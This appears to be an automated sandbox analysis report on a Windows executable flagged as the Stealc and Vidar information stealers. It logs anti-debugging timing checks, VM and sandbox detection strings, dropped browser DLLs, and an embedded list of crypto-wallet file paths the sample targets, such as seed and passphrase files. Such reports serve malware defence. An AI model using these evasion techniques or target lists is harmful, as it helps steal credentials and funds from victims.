Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4FC0253 second address: 4FC028C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push ebx 0x00000009 jmp 00007F013D18EC6Ch 0x0000000e mov dword ptr [esp], ebp 0x00000011 push eax 0x00000012 push edx 0x00000013 pushad 0x00000014 pushfd 0x00000015 jmp 00007F013D18EC6Dh 0x0000001a jmp 00007F013D18EC6Bh 0x0000001f popfd 0x00000020 mov bx, cx 0x00000023 popad 0x00000024 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4FC028C second address: 4FC02A0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F013CB9BBE0h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4FC02A0 second address: 4FC02D7 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov ebp, esp 0x0000000a jmp 00007F013D18EC77h 0x0000000f push 00000000h 0x00000011 push eax 0x00000012 push edx 0x00000013 push eax 0x00000014 push edx 0x00000015 jmp 00007F013D18EC70h 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4FC02D7 second address: 4FC02DD instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4FC02DD second address: 4FC03B0 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007F013D18EC6Ch 0x00000009 jmp 00007F013D18EC75h 0x0000000e popfd 0x0000000f popad 0x00000010 pop edx 0x00000011 pop eax 0x00000012 push 00000000h 0x00000014 jmp 00007F013D18EC6Dh 0x00000019 push dword ptr [ebp+1Ch] 0x0000001c pushad 0x0000001d mov esi, 1CDEA713h 0x00000022 call 00007F013D18EC78h 0x00000027 pop edi 0x00000028 popad 0x00000029 push dword ptr [ebp+18h] 0x0000002c jmp 00007F013D18EC6Ch 0x00000031 push dword ptr [ebp+14h] 0x00000034 pushad 0x00000035 jmp 00007F013D18EC6Eh 0x0000003a pushfd 0x0000003b jmp 00007F013D18EC72h 0x00000040 sbb esi, 07179B28h 0x00000046 jmp 00007F013D18EC6Bh 0x0000004b popfd 0x0000004c popad 0x0000004d push dword ptr [ebp+10h] 0x00000050 pushad 0x00000051 mov al, 67h 0x00000053 push edi 0x00000054 mov si, 82B3h 0x00000058 pop eax 0x00000059 popad 0x0000005a push dword ptr [ebp+0Ch] 0x0000005d pushad 0x0000005e movsx edi, ax 0x00000061 movzx ecx, dx 0x00000064 popad 0x00000065 push dword ptr [ebp+08h] 0x00000068 push eax 0x00000069 push edx 0x0000006a jmp 00007F013D18EC74h 0x0000006f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4FA078A second address: 4FA078E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4FA078E second address: 4FA07AB instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F013D18EC79h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4FA07AB second address: 4FA07B1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4FA07B1 second address: 4FA07B5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4FA07B5 second address: 4FA07D5 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F013CB9BBE3h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 pushad 0x00000011 popad 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4FA07D5 second address: 4FA07DB instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4FA0865 second address: 4FA08F3 instructions: 0x00000000 rdtsc 0x00000002 pushfd 0x00000003 jmp 00007F013CB9BBE2h 0x00000008 jmp 00007F013CB9BBE5h 0x0000000d popfd 0x0000000e pop edx 0x0000000f pop eax 0x00000010 mov edx, esi 0x00000012 popad 0x00000013 push 1486FC85h 0x00000018 pushad 0x00000019 mov dh, DDh 0x0000001b call 00007F013CB9BBE2h 0x00000020 jmp 00007F013CB9BBE2h 0x00000025 pop esi 0x00000026 popad 0x00000027 xor dword ptr [esp], 6060E0ADh 0x0000002e pushad 0x0000002f push eax 0x00000030 push edx 0x00000031 pushfd 0x00000032 jmp 00007F013CB9BBDDh 0x00000037 or ecx, 35477716h 0x0000003d jmp 00007F013CB9BBE1h 0x00000042 popfd 0x00000043 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4FA08F3 second address: 4FA092B instructions: 0x00000000 rdtsc 0x00000002 call 00007F013D18EC70h 0x00000007 pop eax 0x00000008 pop edx 0x00000009 pop eax 0x0000000a mov si, di 0x0000000d popad 0x0000000e call 00007F01ACFE234Ch 0x00000013 push 74DF27D0h 0x00000018 push dword ptr fs:[00000000h] 0x0000001f mov eax, dword ptr [esp+10h] 0x00000023 mov dword ptr [esp+10h], ebp 0x00000027 lea ebp, dword ptr [esp+10h] 0x0000002b sub esp, eax 0x0000002d push ebx 0x0000002e push esi 0x0000002f push edi 0x00000030 mov eax, dword ptr [74E80140h] 0x00000035 xor dword ptr [ebp-04h], eax 0x00000038 xor eax, ebp 0x0000003a push eax 0x0000003b mov dword ptr [ebp-18h], esp 0x0000003e push dword ptr [ebp-08h] 0x00000041 mov eax, dword ptr [ebp-04h] 0x00000044 mov dword ptr [ebp-04h], FFFFFFFEh 0x0000004b mov dword ptr [ebp-08h], eax 0x0000004e lea eax, dword ptr [ebp-10h] 0x00000051 mov dword ptr fs:[00000000h], eax 0x00000057 ret 0x00000058 push eax 0x00000059 push edx 0x0000005a jmp 00007F013D18EC78h 0x0000005f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4FA092B second address: 4FA0973 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F013CB9BBDBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 and dword ptr [ebp-04h], 00000000h 0x0000000d pushad 0x0000000e call 00007F013CB9BBE4h 0x00000013 mov edx, ecx 0x00000015 pop eax 0x00000016 mov ah, bl 0x00000018 popad 0x00000019 mov edx, dword ptr [ebp+0Ch] 0x0000001c push eax 0x0000001d push edx 0x0000001e jmp 00007F013CB9BBE5h 0x00000023 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4FA0973 second address: 4FA09B4 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F013D18EC71h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov esi, edx 0x0000000b jmp 00007F013D18EC6Eh 0x00000010 mov al, byte ptr [edx] 0x00000012 jmp 00007F013D18EC70h 0x00000017 inc edx 0x00000018 push eax 0x00000019 push edx 0x0000001a pushad 0x0000001b movsx edi, si 0x0000001e mov cl, CEh 0x00000020 popad 0x00000021 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4FA09B4 second address: 4FA09CF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F013CB9BBE7h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4FA09CF second address: 4FA09B4 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F013D18EC79h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b test al, al 0x0000000d jmp 00007F013D18EC6Eh 0x00000012 jne 00007F013D18EBFAh 0x00000018 mov al, byte ptr [edx] 0x0000001a jmp 00007F013D18EC70h 0x0000001f inc edx 0x00000020 push eax 0x00000021 push edx 0x00000022 pushad 0x00000023 movsx edi, si 0x00000026 mov cl, CEh 0x00000028 popad 0x00000029 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4FA0A22 second address: 4FA0A28 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4FA0A28 second address: 4FA0A61 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov edi, dword ptr [ebp+08h] 0x0000000b pushad 0x0000000c pushad 0x0000000d movsx ebx, cx 0x00000010 mov dx, ax 0x00000013 popad 0x00000014 push eax 0x00000015 mov edi, 2FF465ACh 0x0000001a pop ebx 0x0000001b popad 0x0000001c dec edi 0x0000001d pushad 0x0000001e mov edx, eax 0x00000020 movzx eax, dx 0x00000023 popad 0x00000024 lea ebx, dword ptr [edi+01h] 0x00000027 push eax 0x00000028 push edx 0x00000029 jmp 00007F013D18EC70h 0x0000002e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4FA0A61 second address: 4FA0ABC instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 movsx ebx, ax 0x00000006 pushfd 0x00000007 jmp 00007F013CB9BBDAh 0x0000000c sbb esi, 0613F228h 0x00000012 jmp 00007F013CB9BBDBh 0x00000017 popfd 0x00000018 popad 0x00000019 pop edx 0x0000001a pop eax 0x0000001b mov al, byte ptr [edi+01h] 0x0000001e jmp 00007F013CB9BBE6h 0x00000023 inc edi 0x00000024 pushad 0x00000025 mov edx, esi 0x00000027 movzx eax, dx 0x0000002a popad 0x0000002b test al, al 0x0000002d push eax 0x0000002e push edx 0x0000002f jmp 00007F013CB9BBE0h 0x00000034 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4FA0ABC second address: 4FA0AC2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4FA0AC2 second address: 4FA0B09 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F013CB9BBDDh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b jne 00007F01AC9E3B80h 0x00000011 jmp 00007F013CB9BBDEh 0x00000016 mov ecx, edx 0x00000018 pushad 0x00000019 mov dx, si 0x0000001c mov cx, 2E19h 0x00000020 popad 0x00000021 shr ecx, 02h 0x00000024 pushad 0x00000025 mov bx, cx 0x00000028 mov esi, 5F3D478Dh 0x0000002d popad 0x0000002e rep movsd 0x00000030 rep movsd 0x00000032 rep movsd 0x00000034 rep movsd 0x00000036 rep movsd 0x00000038 push eax 0x00000039 push edx 0x0000003a push eax 0x0000003b push edx 0x0000003c push eax 0x0000003d push edx 0x0000003e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4FA0B09 second address: 4FA0B0D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4FA0B0D second address: 4FA0B13 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4FA0B13 second address: 4FA0B2B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F013D18EC6Ch 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov ecx, edx 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f pushad 0x00000010 popad 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4FA0B2B second address: 4FA0B31 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4FA0C5B second address: 4FA0C70 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F013D18EC71h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4FA0C70 second address: 4FA0CE5 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pop ebx 0x00000009 jmp 00007F013CB9BBDDh 0x0000000e leave 0x0000000f push eax 0x00000010 push edx 0x00000011 pushad 0x00000012 pushfd 0x00000013 jmp 00007F013CB9BBE3h 0x00000018 adc cx, B9FEh 0x0000001d jmp 00007F013CB9BBE9h 0x00000022 popfd 0x00000023 pushfd 0x00000024 jmp 00007F013CB9BBE0h 0x00000029 jmp 00007F013CB9BBE5h 0x0000002e popfd 0x0000002f popad 0x00000030 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4FA0CE5 second address: 4FA0865 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F013D18EC71h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 retn 0008h 0x0000000c nop 0x0000000d lea ecx, dword ptr [ebp-20h] 0x00000010 call 00007F013D18D10Fh 0x00000015 push ebp 0x00000016 mov ebp, esp 0x00000018 push ecx 0x00000019 mov dword ptr [ebp-04h], ecx 0x0000001c mov ecx, dword ptr [ebp-04h] 0x0000001f call 00007F013D18F256h 0x00000024 push ebp 0x00000025 mov ebp, esp 0x00000027 sub esp, 08h 0x0000002a mov dword ptr [ebp-04h], ecx 0x0000002d mov eax, dword ptr [ebp-04h] 0x00000030 cmp dword ptr [eax+14h], 10h 0x00000034 jc 00007F013D18EC6Ch 0x00000036 mov ecx, dword ptr [ebp-04h] 0x00000039 mov edx, dword ptr [ecx] 0x0000003b mov dword ptr [ebp-08h], edx 0x0000003e jmp 00007F013D18EC68h 0x00000040 mov eax, dword ptr [ebp-08h] 0x00000043 mov esp, ebp 0x00000045 pop ebp 0x00000046 ret 0x00000047 mov esp, ebp 0x00000049 pop ebp 0x0000004a ret 0x0000004b push eax 0x0000004c lea edx, dword ptr [ebp-00000448h] 0x00000052 push edx 0x00000053 call 00007F0141DA5856h 0x00000058 push 00000008h 0x0000005a pushad 0x0000005b push eax 0x0000005c push edx 0x0000005d jmp 00007F013D18EC6Ch 0x00000062 rdtsc

Tries to evade debugger and weak emulator (self modifying code)

Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 66D80E instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 66D73F instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 81E6EF instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 8A2DF2 instructions caused by: Self-modifying code

Source: C:\Users\user\Desktop\file.exe	Registry key queried: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4d36e968-e325-11ce-bfc1-08002be10318}\0000 name: DriverDesc	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: SystemBiosVersion	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: VideoBiosVersion	Jump to behavior

Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\ProgramData\nss3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\ProgramData\chrome.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\vcruntime140[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\mozglue[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\msvcp140[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\nss3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\ProgramData\freebl3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\freebl3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\softokn3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\ProgramData\softokn3.dll	Jump to dropped file

Source: C:\Users\user\Desktop\file.exe

API coverage: 0.8 %

Source: C:\Users\user\Desktop\file.exe TID: 5924

Thread sleep time: -52026s >= -30000s

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6C60C930 GetSystemInfo,VirtualAlloc,GetSystemInfo,VirtualFree,VirtualAlloc,

0_2_6C60C930

Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\html\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\images\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\bg\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\css\	Jump to behavior

Source: file.exe, file.exe, 00000000.00000002.2135062916.00000000007EE000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: HARDWARE\ACPI\DSDT\VBOX__
Source: file.exe, 00000000.00000002.2135739044.00000000010B5000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWTu
Source: file.exe, 00000000.00000002.2135739044.000000000105E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMwareVMwareC
Source: file.exe, 00000000.00000002.2135739044.00000000010A1000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2135739044.00000000010D5000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: file.exe, 00000000.00000002.2135739044.000000000105E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMwareVMware
Source: file.exe, 00000000.00000002.2135062916.00000000007EE000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: Restart now?\\.\Oreans.vxd%s\Oreans.vxdXprotEventHARDWARE\ACPI\DSDT\VBOX__SeShutdownPrivilegeSoftware\WinLicenseCreateEvent API Error while extraction the driverGetEnvironmentVariable API Error while extraction the driverOpenSCManager API Error while extraction the driverCreateService API Error while extraction the driverCloseServiceHandle API Error while extraction the driverOpenService API Error while extraction the driverStartService API Error while extraction the driverAPIC error: Cannot find Processors Control Blocks. Please,

Source: C:\Users\user\Desktop\file.exe

System information queried: ModuleInformation

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Process information queried: ProcessInformation

Jump to behavior

Anti Debugging

Hides threads from debuggers

Source: C:\Users\user\Desktop\file.exe

Thread information set: HideFromDebugger

Jump to behavior

Tries to detect sandboxes and other dynamic analysis tools (window names)

Source: C:\Users\user\Desktop\file.exe	Open window title or class name: regmonclass
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: gbdyllo
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: process monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: procmon_window_class
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: registry monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: ollydbg
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: filemonclass
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: file monitor - sysinternals: www.sysinternals.com

Source: C:\Users\user\Desktop\file.exe	File opened: NTICE
Source: C:\Users\user\Desktop\file.exe	File opened: SICE
Source: C:\Users\user\Desktop\file.exe	File opened: SIWVID

Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6C655FF0 IsDebuggerPresent,??0PrintfTarget@mozilla@@IAE@XZ,?vprint@PrintfTarget@mozilla@@QAE_NPBDPAD@Z,OutputDebugStringA,__acrt_iob_func,_fileno,_dup,_fdopen,__stdio_common_vfprintf,fclose,

0_2_6C655FF0

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6C65C410 LoadLibraryW,GetProcAddress,FreeLibrary,

0_2_6C65C410

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C62B66C SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,		0_2_6C62B66C
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C62B1F7 IsProcessorFeaturePresent,memset,memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,		0_2_6C62B1F7

Source: C:\Users\user\Desktop\file.exe

Memory protected: page guard

Jump to behavior

HIPS / PFW / Operating System Protection Evasion

Yara detected Powershell download and execute

Source: Yara match

File source: Process Memory Space: file.exe PID: 2536, type: MEMORYSTR

Source: file.exe, file.exe, 00000000.00000002.2135062916.00000000007EE000.00000040.00000001.01000000.00000003.sdmp

Binary or memory string: `Program Manager

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6C62B341 cpuid

0_2_6C62B341

Source: C:\Users\user\Desktop\file.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0			Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0			Jump to behavior

Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\ VolumeInformation			Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\ VolumeInformation			Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6C5F35A0 ?Startup@TimeStamp@mozilla@@SAXXZ,InitializeCriticalSectionAndSpinCount,getenv,QueryPerformanceFrequency,_strnicmp,GetSystemTimeAdjustment,__aulldiv,QueryPerformanceCounter,EnterCriticalSection,LeaveCriticalSection,QueryPerformanceCounter,EnterCriticalSection,LeaveCriticalSection,__aulldiv,strcmp,strcmp,_strnicmp,

0_2_6C5F35A0

Stealing of Sensitive Information

Yara detected Stealc

Source: Yara match	File source: 0.2.file.exe.380000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000002.2134581160.0000000000381000.00000040.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.1719489044.0000000004E10000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2135739044.000000000105E000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: file.exe PID: 2536, type: MEMORYSTR
Source: Yara match	File source: dump.pcap, type: PCAP

Yara detected Vidar stealer

Source: Yara match

File source: Process Memory Space: file.exe PID: 2536, type: MEMORYSTR

Found many strings related to Crypto-Wallets (likely being stolen)

Source: file.exe, 00000000.00000002.2135739044.00000000010B5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: C:\Users\user\AppData\Roaming\\Electrum\wallets\\.
Source: file.exe, 00000000.00000002.2135739044.00000000010B5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: C:\Users\user\AppData\Roaming\\ElectronCash\wallets\\.)M
Source: file.exe, 00000000.00000002.2135739044.00000000010B5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: C:\Users\user\AppData\Roaming\\Electrum\wallets\\.
Source: file.exe, 00000000.00000002.2135739044.00000000010B5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: C:\Users\user\AppData\Roaming\\Exodus\\window-state.jsonyM{,
Source: file.exe, 00000000.00000002.2134581160.0000000000494000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: Jaxx Liberty
Source: file.exe, 00000000.00000002.2135739044.00000000010B5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: C:\Users\user\AppData\Roaming\\Exodus\\exodus.conf.json
Source: file.exe, 00000000.00000002.2135739044.00000000010B5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: C:\Users\user\AppData\Roaming\\Exodus\\window-state.jsonyM{,
Source: file.exe, 00000000.00000002.2134581160.0000000000494000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: info.seco
Source: file.exe, 00000000.00000002.2134581160.0000000000466000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2134581160.0000000000494000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: passphrase.json
